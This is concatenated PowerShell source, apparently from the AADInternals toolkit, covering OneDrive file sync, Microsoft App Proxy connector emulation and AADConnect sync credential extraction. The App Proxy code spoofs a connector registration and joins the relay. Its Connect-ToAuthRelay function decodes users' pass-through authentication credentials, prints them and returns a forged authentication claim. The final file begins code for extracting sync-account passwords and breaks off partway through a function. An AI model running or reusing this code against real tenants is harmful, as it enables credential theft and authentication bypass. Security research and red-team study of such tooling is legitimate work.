ParentResourceID : 3936bbea74b54f52b4c0ec6f362d6df9
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
DocumentStreams : DocumentStreams
WriteStatus : Success
.Example
$os = New-AADIntOneDriveSettings
Send-AADIntOneDriveFile -FileName "Document1.docx" -OneDriveSettings $os -ETag "{68c71b7f-4be8-414b-9752-266ef4d715b3},2" -FolderId 3936bbea74b54f52b4c0ec6f362d6df9
ResourceID : 68c71b7f4be8414b9752266ef4d715b3
ETag : "{68C71B7F-4BE8-414B-9752-266EF4D715B3},3"
DateModified : 2019-12-09T10:57:36.0000000Z
RelationshipName : Document1.docx
ParentResourceID : 3936bbea74b54f52b4c0ec6f362d6df9
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
DocumentStreams : DocumentStreams
WriteStatus : Success
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
[String]$FolderId,
[Parameter(Mandatory=$False)]
[guid]$DomainGuid=(New-Guid),
[Parameter(Mandatory=$False)]
[switch]$Mac,
[Parameter(Mandatory=$False)]
[String]$ETag
)
Process
{
# Check that the file exists..
if(!(Test-Path $FileName))
{
Write-Error "The file $FileName does not exist!"
return
}
# Get the file and information
$file = Get-Item $FileName
[byte[]]$fileBytes=Get-BinaryContent $FileName
$created=$file.CreationTimeUtc.toString("yyyy-MM-ddTHH:mm:ss.0000000Z").Replace(".",":")
$modified=$file.LastWriteTimeUtc.toString("yyyy-MM-ddTHH:mm:ss.0000000Z").Replace(".",":")
# Create hash and IDs
$hash = Get-XorHash $FileName
$multipartUUID = (New-Guid).ToString()
$fileUUID = (New-Guid).ToString()
$parentId = $OneDriveSettings.DefaultDocumentLibraryId
$command+="/_api/SPFileSync/sync/$($parentId.Replace('-',''))/RootFolder?View=SkyDriveSync"
# Set the write mode
$WriteMode="Create"
if(![string]::IsNullOrEmpty($ETag))
{
$resourceId=($ETag.Substring(1,($ETag.LastIndexOf("}")-1))).Replace("-","")
$etagXml = "<ResourceID>$resourceId</ResourceID><ETag>`"$ETag`"</ETag>"
$WriteMode="Update"
}
$bodyStart=@"
--uuid:$multipartUUID
Content-ID: <LiveFolders>
Content-Type: application/web3s+xml
<?xml version="1.0" encoding="utf-8"?><Items><Document><ParentResourceID>$($FolderId.Replace('-',''))</ParentResourceID><WriteMode>$WriteMode</WriteMode>$etagXml<RelationshipName>$($file.Name)</RelationshipName><DateCreatedOnClient>$created</DateCreatedOnClient><DateModifiedOnClient>$modified</DateModifiedOnClient><DocumentStreams><DocumentStream><DocumentStreamName>Default</DocumentStreamName><MimeType>application/octet-stream</MimeType><XORHash>$hash</XORHash><FragmentSessionId>$fileUUID</FragmentSessionId><DataSize>$($fileBytes.Length)</DataSize></DocumentStream></DocumentStreams></Document></Items>
--uuid:$multipartUUID
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream
Content-ID:<"$fileUUID":Default>
"@
$bodyEnd = @"
--uuid:$multipartUUID--
"@
$body=@()
$body+=[System.Text.Encoding]::ASCII.GetBytes($bodyStart)
$body+=$fileBytes
$body+=[System.Text.Encoding]::ASCII.GetBytes($bodyEnd)
$headers=@{
"Scenario" = "StorageInlineUploadsScenario"
"Content-Type" = "multipart/related; boundary=`"uuid:$multipartUUID`""
"Application" = "OneDriveSync"
#"X-TransactionId" = "$((New-Guid).ToString())StorageInlineUploadsScenario"
"X-RestrictedWriteCapabilities" = "Irm, LabelIrm"
"X-SyncFeatures" = "40"
"X-SynchronousMetadata" = "false"
"X-UpdateGroupId" = "60"
"X-UpdateRing" = "Prod"
#"X-SubscriptionIdToNotNotify" = (New-Guid).ToString()
#"X-MachineDomainInfo" = "{$($DomainGuid.toString())}"
#"X-MachineId" = "$((New-Guid).toString())"
#"X-RequestStats" ="btuc=6;did=$((New-Guid).toString());ftuc=1"
"X-CustomIdentity" = "SkyDriveSync=$((New-Guid).toString())"
"X-GeoMoveOptions" = "HttpRedirection"
}
if(!$MAC)
{
$headers["X-MachineDomainInfo"] = "{$($DomainGuid.toString())}"
}
$responseHeaders = @{}
# First get the X-RequestDigest
Invoke-ODCommand -OneDriveSettings $OneDriveSettings -Command $command -Body ([byte[]]$body) -Scenario "" -UseStreamReader -ResponseHeaders ([ref]$responseHeaders) -headers $headers -Accept "Application/Web3s+xml" -Mac $Mac
if(![String]::IsNullOrEmpty($responseHeaders["Value"]["X-RequestDigest"]))
{
$headers+=@{
"X-RequestDigest" = $responseHeaders["Value"]["X-RequestDigest"]
}
# The try to send again
[xml]$response = Invoke-ODCommand -OneDriveSettings $OneDriveSettings -Command $command -Body ([byte[]]$body) -Scenario "" -UseStreamReader -headers $headers -Accept "Application/Web3s+xml" -Mac $Mac
}
# Return
$response.Items.Document
}
}
# Downloads a folder from user's OneDrive
# Nov 26th
function Get-ODFolder
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
$Folder,
[Parameter(Mandatory=$False)]
[bool]$PrintOnly,
[Parameter(Mandatory=$False)]
[bool]$FoldersOnly
)
Process
{
if(!$PrintOnly)
{
Write-Verbose "Folder: $($Folder.Path)"
New-Item -ItemType Directory -Path ".$($Folder.Path)" -Force | Out-Null
}
# Set the attributes
$attributes=[ordered]@{
"Path" = $Folder.Path.replace("/","\")
"Size" = ""
"ETag" = ""
"Created" = [DateTime]$Folder.DateCreated
"Modified" = [DateTime]$Folder.DateModified
"ResourceID" = $Folder.ResourceID
"MimeType" = ""
"Url" = ""
"XORHash" = ""
}
$FolderFile = New-Object PSObject -Property $attributes
$FolderFile
if(!$FoldersOnly)
{
# Download the files
foreach($document in $Folder.Items.Document)
{
Get-ODDocument -OneDriveSettings $OneDriveSettings -Document $document -PrintOnly $PrintOnly
}
}
# Download the folders
foreach($subFolder in $Folder.Items.Folder)
{
Get-ODFolder -OneDriveSettings $OneDriveSettings -Folder $subFolder -PrintOnly $PrintOnly
}
}
}
# Downloads a file from user's OneDrive
# Nov 26th
function Get-ODDocument
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
$Document,
[Parameter(Mandatory=$False)]
[bool]$PrintOnly
)
Process
{
# Set the attributes
$attributes=[ordered]@{
"Path" = $Document.Path.replace("/","\")
"Size" = $Document.DocumentStreams.DocumentStream.DataSize
"ETag" = $Document.ETag
"Created" = [DateTime]$Document.DateCreated
"Modified" = [DateTime]$Document.DateModified
"ResourceID" = $Document.ResourceID
"MimeType" = $Document.DocumentStreams.DocumentStream.MimeType
"Url" = $Document.DocumentStreams.DocumentStream.PreAuthURL
"XORHash" = $Document.DocumentStreams.DocumentStream.XORHash
}
$DocFile = New-Object PSObject -Property $attributes
if(!$PrintOnly)
{
# Create a web session for the authentication cookie
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = ($OneDriveSettings.AuthenticationCookie.Split("="))[0]
$webCookie.Value = $OneDriveSettings.AuthenticationCookie.Substring($webCookie.Name.Length + 1)
$webCookie.Domain = ($OneDriveSettings.Url.Split("/"))[2]
$session.Cookies.Add($webCookie)
# Download the file
Invoke-WebRequest -UseBasicParsing -Method Get -Uri $DocFile.Url -OutFile ".$($DocFile.Path)" -WebSession $session
# Set the date attributes
$FileItem = Get-Item ".$($DocFile.Path)"
$FileItem.CreationTime=$DocFile.Created
$FileItem.LastWriteTime=$DocFile.Modified
}
return $DocFile
}
} |
MSAppProxy_utils.ps1 | AADInternals-0.9.4 | # This file contains utility functions related to Microsoft App Proxy
# Get's bootstrap configuration
# Apr 2nd 2020
function Get-BootstrapConfiguration
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$ServiceHost="bootstrap.msappproxy.net",
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
# Get the tenant id and instance id from the certificate
$TenantId = $Certificate.Subject.Split("=")[1]
$InstanceID = [guid]$Certificate.GetSerialNumberString()
# Actually, it is not the serial number but this oid for Private Enterprise Number. Microsoft = 1.3.6.1.4.1.311
foreach($extension in $cert.Extensions)
{
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
$InstanceID = [guid]$extension.RawData
}
}
$OSLanguage="1033"
$OSLocale="0409"
$OSSku="8"
$OSVersion="10.0.17763"
$AgentSdkVersion="1.5.1318.0"
$AgentVersion="1.1.96.0"
$body=@"
<BootstrapRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.SignalerDataModel" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<AgentSdkVersion>$AgentSdkVersion</AgentSdkVersion>
<AgentVersion>$AgentVersion</AgentVersion>
<BootstrapDataModelVersion>$AgentSdkVersion</BootstrapDataModelVersion>
<ConnectorId>$InstanceId</ConnectorId>
<ConnectorVersion>$AgentSdkVersion</ConnectorVersion>
<ConsecutiveFailures>0</ConsecutiveFailures>
<CurrentProxyPortResponseMode>Primary</CurrentProxyPortResponseMode>
<FailedRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
<InitialBootstrap>true</InitialBootstrap>
<IsProxyPortResponseFallbackDisabledFromRegistry>true</IsProxyPortResponseFallbackDisabledFromRegistry>
<LatestDotNetVersionInstalled>461814</LatestDotNetVersionInstalled>
<MachineName>$machineName</MachineName>
<OperatingSystemLanguage>$OSLanguage</OperatingSystemLanguage>
<OperatingSystemLocale>$OSLocale</OperatingSystemLocale>
<OperatingSystemSKU>$OSSku</OperatingSystemSKU>
<OperatingSystemVersion>$OSVersion</OperatingSystemVersion>
<PerformanceMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
<ProxyDataModelVersion>$AgentSdkVersion</ProxyDataModelVersion>
<RequestId>$((New-Guid).ToString())</RequestId>
<SubscriptionId>$TenantId</SubscriptionId>
<SuccessRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
<TriggerErrors/>
<UpdaterStatus>Running</UpdaterStatus>
<UseServiceBusTcpConnectivityMode>false</UseServiceBusTcpConnectivityMode>
<UseSpnegoAuthentication>false</UseSpnegoAuthentication>
</BootstrapRequest>
"@
$url="https://$TenantId.$ServiceHost/ConnectorBootstrap"
try
{
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $Certificate -Body $body -ContentType "application/xml; charset=utf-8"
}
catch
{
Write-Error "Could not get bootstrap: $($_.Exception.Message). Probably expired certificate ($($Certificate.Thumbprint)) or invalid agent ($InstanceID)?"
return $null
}
[xml]$xmlResponse = $response.Content
return $xmlResponse.OuterXml
}
}
# Creates a CSR from the scratch
# Apr 2nd 2020
function NewCSRforSync
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$True)]
[byte[]]$PublicKey
)
process
{
$osVersion="6.2.9200.2"
$ADadminUser ="NotYourBusiness!!"
$exeName = "AADConnectProvisioningAgentWizard.exe"
$pksha1=[System.Security.Cryptography.SHA1CryptoServiceProvider]::new().ComputeHash($PublicKey)
# Construct the CSR for signin
$CSRToBeSigned=@(
Add-DERSequence -Data @(
Add-DERInteger -Data 0
0x30, 0x00
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# rsaEncryption (1.2.840.113549.1.1.1)
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01
)
0x05, 0x00 # Null
)
Add-DERTag -Tag 0x03 -Data @( # BitString
0x00
$PublicKey
)
)
Add-DERTag -Tag 0xA0 -Data @( # Context specific (block #0)
# Attributes: osVersion
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# osVersion (1.3.6.1.4.1.311.13.2.3)
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x03
)
Add-DERSet -Data @( # SET
Add-DERIA5String -Text $osVersion
)
)
# Extension Request
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# extensionRequest (1.2.840.113549.1.9.14)
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x0E
)
Add-DERSet -Data @(
Add-DERSequence -Data @(
# Key Usage
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
0x55, 0x1D, 0x0F # keyUsage (2.5.29.15)
)
Add-DERTag 0x01 -Data @(0xFF) # Boolean (true)
Add-DERTag 0x04 -Data @(0x03, 0x02, 0x04, 0xF0) # Octet string
)#
# Ext Key Usage
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
0x55, 0x1D, 0x25 # extKeyUsage (2.5.29.37)
)
Add-DERTag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02 # clientAuth (1.3.6.1.5.5.7.3.2)
)
)
)
)
# Subject Key Identifier
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # subjectKeyIdentifier (2.5.29.14)
0x55, 0x1D, 0x0E
)
Add-DERTag 0x04 -Data @( # Octet string
0x04, 0x14#, 0xEB, 0x4F, 0xD9, 0xFF, 0x3A, 0x20, 0xA9, 0xDB, 0x63, 0xBA, 0x50, 0x2A, 0xF1, 0x5B, 0x96, 0x5F, 0x5C, 0x3C, 0xCD, 0xF4
$pksha1
)
)
)
)
)
# Request Client Info
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# requestClientInfo (1.3.6.1.4.1.311.21.20)
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x14
)
Add-DERSet -Data @( # Set
Add-DERSequence -Data @(
Add-DERInteger -Data 0x05
Add-DERUtf8String -Tag 0x0C -Text $machineName
Add-DERUtf8String -Tag 0x0C -Text $ADadminUser
Add-DERUtf8String -Tag 0x0C -Text $exeName
)
)
)
# Enrolment CSP
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# enrolmentCSP (1.3.6.1.4.1.311.13.2.2)
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x02
)
Add-DERSet -Data @(
Add-DERSequence -Data @(
Add-DERInteger 0x01
Add-DERUnicodeString -Tag 0x1E "Microsoft Enhanced RSA and AES Cryptographic Provider" -LE
Add-DERTag -Tag 0x03 -Data 0x00 # Bit string
)
)
)
)
)
)
# Sign the CSR
$signature = $rsa.SignData($CSRToBeSigned, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
# Construct the CSR
$CSR = Add-DERSequence -Data @(
$CSRToBeSigned
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @(
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B
)
0x05, 0x00 # null
)
Add-DERTag -Tag 0x03 -Data @(
0x00
$signature
)
)
# return
return $CSR
}
}
# Connects to the given bus
function Connect-ToBus
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[PSObject]$BootStrap,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert
)
Process
{
# Import AMQP.ps1
. "$PSScriptRoot\AMQP.ps1"
# Define AMQP messages
[byte[]]$AMQP0 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x00, # Protocol
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$AMQP1 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x01, # Protcol = AMQP
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$AMQP2 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x02, # Protcol = TCP
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$AMQP3 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x03, # Protocol = SASL
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$EmptyAMQPHeader = @(0x00, 0x00, 0x00, 0x08, 0x02, 0x00, 0x00, 0x00)
Try
{
# Define some needed variables
$NameSpace = $bootStrap.NameSpace
$url = "$nameSpace.servicebus.windows.net/`$servicebus/websocket"
$connectionId = (New-Guid).ToString()
$relayLinkGuid = (New-Guid).ToString()
$trackingId = (New-Guid).ToString()
if($status)
{
$Status.status = "Connecting to $url"
}
else
{
Write-Verbose "Connecting to $url"
}
#$connector.Status = "Connecting to $url"
# Create the socket
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Add wsrelayedamqp as sub protocol
$socket.Options.AddSubProtocol("wsrelayedamqp")
$socket.Options.ClientCertificates.Add($cert) | out-null
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
$connection = $socket.ConnectAsync("wss://$url", $token)
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
#
# Start the Agent
#
# Send SASL version header
SendToSocket -Socket $socket -Token $token -Bytes ($AMQP3)
# DEBUG
$relayOpened=$false
# Start the loop
while($socket.state -eq "Open")
{
$outMessage = $null
$response = ReadFromSocket -Socket $socket -Token $token -KeepAlive
$inMessage = Parse-BusMessage $response
$close = $false
switch($inMessage.Type)
{
"Protocol SASL" {} # Do nothing
"SASL Mechanisms"
{
# SASL init
$outMessage = New-SASLInit -Mechanics EXTERNAL
}
"SASL Outcome"
{
# Change protocol to AMQP
$outMessage = $AMQP0
}
"Protocol AMQP"
{
# AMQP Open
$outMessage = New-AMQPOpen -ContainerId "RelayConnection_$connectionId" -HostName "$nameSpace-relay.servicebus.windows.net"
}
"AQMP Open"
{
# AMQP Begin
$outMessage = New-AMQPBegin
}
"AQMP Begin"
{
# AMQP Attach handle 0 and 1
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 0 -RelayLinkGuid $relayLinkGuid -Direction out -BootStrap $bootStrap -TrackingID $trackingId)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 1 -RelayLinkGuid $relayLinkGuid -Direction in -BootStrap $bootStrap -TrackingID $trackingId)
$outMessage = New-AMQPFlow
}
"AQMP Attach"
{
# Nothing to do
}
"AQMP Flow"
{
# Send an empty AMQP Header
$outMessage = $EmptyAMQPHeader
if($status)
{
$Status.status += "`nWaiting for auth requests.."
}
else
{
Write-Verbose "Waiting for auth requests.."
}
}
"AQMP Detach"
{
# Send AMQP Detach
$outMessage = New-AMQPDetach -Handle ($inMessage.Handle)
Write-Verbose ($inMessage.Error)
}
"AQMP End"
{
# Send AMQP End
$outMessage = New-AMQPEnd
}
"AQMP Close"
{
# Send AMQP Close
$outMessage = New-AMQPClose
# Close the socket after sending the last message
$close = $True
# Set the status
if($status)
{
$Status.status += "`nClosed."
}
else
{
Write-Verbose "Closed."
}
}
"OnewaySend"
{
# Send the disposition message
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDisposition)
# Time to create the relay!
if($status)
{
$Status.status += "`nOpening relay to $($inMessage.RelayAddress)"
}
else
{
Write-Verbose "Opening relay to $($inMessage.RelayAddress)"
}
if(!$relayOpened)
{
$relayOpened = $true
Connect-ToAuthRelay -Hostname $inMessage.RelayAddress -Id $inMessage.RelayId -Certificate $cert
}
}
}
if($outMessage -ne $null)
{
SendToSocket -Socket $socket -Token $token -Bytes $outMessage
}
if($close)
{
$socket.Abort()
}
}
}
catch
{
$Exception = $error[0]
Write-Host $Exception -ForegroundColor Red
}
Finally{
If ($socket) {
Write-Verbose "Closing websocket"
$socket.Dispose()
}
}
}
}
# Creates a SAS token
function Get-SASToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[String]$Key,
[Parameter(Mandatory=$True)]
[String]$KeyName,
[Parameter(Mandatory=$False)]
[DateTime]$Expires=(Get-Date).AddDays(1)
)
Process
{
# Create the HMAC object
$keyBytes=[Text.Encoding]::UTF8.GetBytes($Key)
$hmac = [System.Security.Cryptography.HMACSHA256]::new($keyBytes)
# Convert to UNIX time
$exp=([System.DateTimeOffset]$Expires.ToUniversalTime()).ToUnixTimeSeconds()
# Form the string to sign (urlencoded uri + \n + expires)
$namespace = $url.split("/")[2]
$urlToSign = [System.Web.HttpUtility]::UrlEncode($url) + "`n" + [string]$exp
$byteUrl=[Text.Encoding]::UTF8.GetBytes($urlToSign)
# Calculate the signature
$byteHash = $hmac.ComputeHash($byteUrl)
$signature = [System.Convert]::ToBase64String($byteHash)
# Form the token
$SASToken = "SharedAccessSignature sr=" + [System.Web.HttpUtility]::UrlEncode($Url) + "&sig=" + [System.Web.HttpUtility]::UrlEncode($signature) + "&se=" + $exp + "&skn=" + $KeyName
return $SASToken
}
}
function Connect-ToAuthRelay
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Hostname,
[Parameter(Mandatory=$True)]
[String]$Id,
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
Try
{
$url = "$Hostname/`$servicebus/websocket"
# Create the socket
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Add wsrelayedamqp as sub protocol
$socket.Options.AddSubProtocol("wsrelayedconnection")
$socket.Options.ClientCertificates.Add($Certificate) | out-null
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
$connection = $socket.ConnectAsync("wss://$url", $token)
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
# Send the two initial messages
SendToSocket -Socket $socket -Token $token -Bytes (New-RelayConnect)
SendToSocket -Socket $socket -Token $token -Bytes (New-RelayAccept -id $id)
# Start the conversation loop
if($status)
{
#$Status.status += "`nSocket: $($socket.state)"
}
# Define variables
$SomeId = $null
$SequenceId = $null
$ConnectionId = New-Guid
$RelayUrl = $null
$ProxyUrl = $null
$ProxyId = $null
$SomeId2 = $null
$ConId = $null
while($socket.state -eq "Open")
{
Remove-Variable outMessage
$outMessage = $null
$response = ReadFromSocket -Socket $socket -Token $token -TimeOut
if($response -eq $null)
{
return
}
$inMessage = Parse-RelayMessage $response
if($status)
{
# $Status.status += "`n$hostname InMessage: $($inMessage.Type) $($inMessage.Size). Response: $($response.length)"
}
$close = $false
switch($inMessage.Type)
{
"Relay AcceptReply" {} # Do nothing
"Relay ConnectReply" {} # Do nothing
"Relay Name"
{
# Reply
SendToSocket -Socket $socket -Token $token -Byte (New-RelayNameReply)
}
"Relay Ids"
{
if($status)
{
$Status.status += "`nExtracting variables"
}
# Extract variables
$SomeId = $inMessage.SomeId
$SequenceId = $inMessage.SequenceId
$RelayUrl = $inMessage.Relay
if($status)
{
$Status.status += "`nSending outmessage. SomeId: $someId ConnectionId $ConnectionId SequenceId: $SequenceId Relay $RelayUrl"
}
# Reply
$outMessage = New-RelayIdsReply -SomeId $SomeId -ConnectionId $ConnectionId -Relay $RelayUrl
}
"Relay ProxyConnect"
{
# Extract variables
$ProxyUrl = $inMessage.ProxyUrl
$ProxyId = $inMessage.ProxyId
$SomeId2 = $inMessage.SomeId2
$ConId = $inMessage.ConId
$ConnectionId = $inMessage.ConnectionId
if($status)
{
$Status.status += "`nProxy. SomeId2: $someId2 SequenceId: $SequenceId ConnectionId: $ConnectionId "
}
# Reply
$outMessage = New-RelayProxyConnectReply -SequenceId $SequenceId -SomeId2 $SomeId2 -ConnectionId $ConnectionId
# Send NetRemote
SendToSocket -Socket $socket -Token $token -Bytes New-RelayNetRemote
}
"Relay NetRemoteReply"
{
# Try to connect to the proxy!
# Get the ids..
$SubscriptionId=([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).GetNameInfo([System.Security.Cryptography.X509Certificates.X509NameType]::SimpleName,$false)
$ConnectorId=([guid]([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).Extensions["1.3.6.1.4.1.311.82.1"].RawData).ToString()
$url="https://$proxyUrl/subscriber/websocketconnect?requestId=$((New-Guid).ToString())"
# Create the socket
$socket2 = New-Object System.Net.WebSockets.ClientWebSocket
$socket2.options.SetRequestHeader("x-cwap-dnscachelookup-result" , "NotUsed")
$socket2.options.SetRequestHeader("x-cwap-connector-usesdefaultproxy" , "InUse")
$socket2.options.SetRequestHeader("x-cwap-connector-version" , "1.5.1542.0")
$socket2.options.SetRequestHeader("x-cwap-datamodel-version" , "1.5.1542.0")
$socket2.options.SetRequestHeader("x-cwap-connector-sp-connections" , "0")
$socket2.options.SetRequestHeader("x-cwap-transid" , $id)
$socket2.options.ClientCertificates.Add($cert)
# Create the token and open the connection
$token2 = New-Object System.Threading.CancellationToken
$connection2 = $socket2.ConnectAsync("wss://$($url.Substring(8))", $token2)
While (!$connection2.IsCompleted) { Start-Sleep -Milliseconds 5 }
if($connection2.IsFaulted -eq "True")
{
Write-Error $connection2.Exception
return
}
Write-Host "Connected to $Url" -ForegroundColor Yellow
# Send the message
$message = [text.encoding]::UTF8.GetBytes( "{`"ConnectionId`":`"$connectionId`",`"MessageType`":0}" )
SendToSocket -Socket $socket2 -Token $token -Bytes ($message)
# Loop
while($true)
{
# Get the authentication message
$response = ReadFromSocket -Socket $socket2 -Token $token2 -ArraySize 2048
# Debug -Step ($step++) -NameSpace $Hostname -Bytes $response -Direction in
$authRequest = [text.encoding]::UTF8.GetString($response)
Write-Verbose $authRequest
$credentials = Decode-PTACredential -AuthRequest $authRequest -Certificate $cert
$credentials
Write-Verbose "Trying to send authentication response"
$username="[email protected]"
$userClaim="[{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication`",`"Resource`":true,`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"},{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/name`",`"Resource`":`"$username`",`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"}]"
$backEndResponse = [convert]::ToBase64String([text.encoding]::UTF8.GetBytes($userClaim))
$headers = [ordered]@{
"x-cwap-dnscachelookup-result"="NotUsed"
"x-cwap-connector-usesdefaultproxy"="InUse"
"x-cwap-connector-version"="1.5.1542.0"
"x-cwap-datamodel-version"="1.5.1542.0"
"x-cwap-connector-sp-connections"="1"
"x-cwap-transid" = $id
"x-cwap-sessionid"="00000000-0000-0000-0000-000000000000"
"x-cwap-certificate-authentication"="notProcessed"
"x-cwap-headers-size"="0"
"x-cwap-connector-be-latency-ms"="27"
"x-cwap-payload-total-attempts"="0"
"x-cwap-connector-loadfactor"="0"
"x-cwap-response-total-attempts"="1"
"x-cwap-connector-all-latency-ms"="70"
"x-cwap-backend-response" = $backEndResponse
"User-Agent"=""
}
$url="https://$proxyUrl/subscriber/connection?requestId=$((New-Guid).ToString())"
# The cert must be "linked" to this web page by IE + it needs to be installed in the personal store.
try
{
Invoke-RestMethod -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
#$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
}
catch
{
Write-Error $_.Exception.Message
}
}
}
}
if($outMessage -ne $null)
{
if($status)
{
#$Status.status += "`nSendToSocket. $($outMessage.length). $($outMessage.GetType())"
}
SendToSocket -Socket $socket -Token $token -Bytes ([byte[]]$outMessage)
}
if($close)
{
$socket.Abort()
}
}
}
catch
{
$Exception = $error[0]
Write-Host $_
Write-Host $Exception -ForegroundColor Red
if($status)
{
$Status.status += "`n$($exception.toString())"
}
}
Finally{
If ($socket) {
Write-Verbose "Closing websocket $Namespace"
$socket.Dispose()
}
}
}
} |
AADSyncSettings.ps1 | AADInternals-0.9.4 | # This module contains functions to extract and update AADConnect sync credentials
# Oct 29th 2019
function Check-Server
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[bool]$force
)
process
{
# Always export as ADSync user
$AsADSync = $true
# Check that we are on AADConnect server and that the service is running
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
{
Write-Error "This command needs to be run on a computer with ADSync running!"
return $false
}
# Add the encryption reference (should always be there)
$ADSyncLocation = (Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\AD Sync").Location
Add-Type -path "$ADSyncLocation\Bin\mcrypt.dll"
$ADSyncUser=""
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
# Check the version number: since 1.4.xx.xx uses DPAPI instead of registry to store the keyset
try
{
$serviceWMI = Get-WmiObject Win32_Service -Filter "Name='ADSync'" -ErrorAction SilentlyContinue
$ADSyncUser= $serviceWMI.StartName
$ver= ($serviceWMI.PathName.Split('"')[1] | Get-Item).VersionInfo.FileVersion
$ver2=$ver.split('.')
if($force -ne $true -and $ver2[0] -eq 1 -and $ver2[1] -ge 4 -and !$AsADSync)
{
Write-Warning "ADSync passwords can be read or modified as local administrator only for ADSync version 1.3.xx.xx!"
Write-Warning "The current version is $ver and access to passwords requires running as ADSync ($ADSyncUser)."
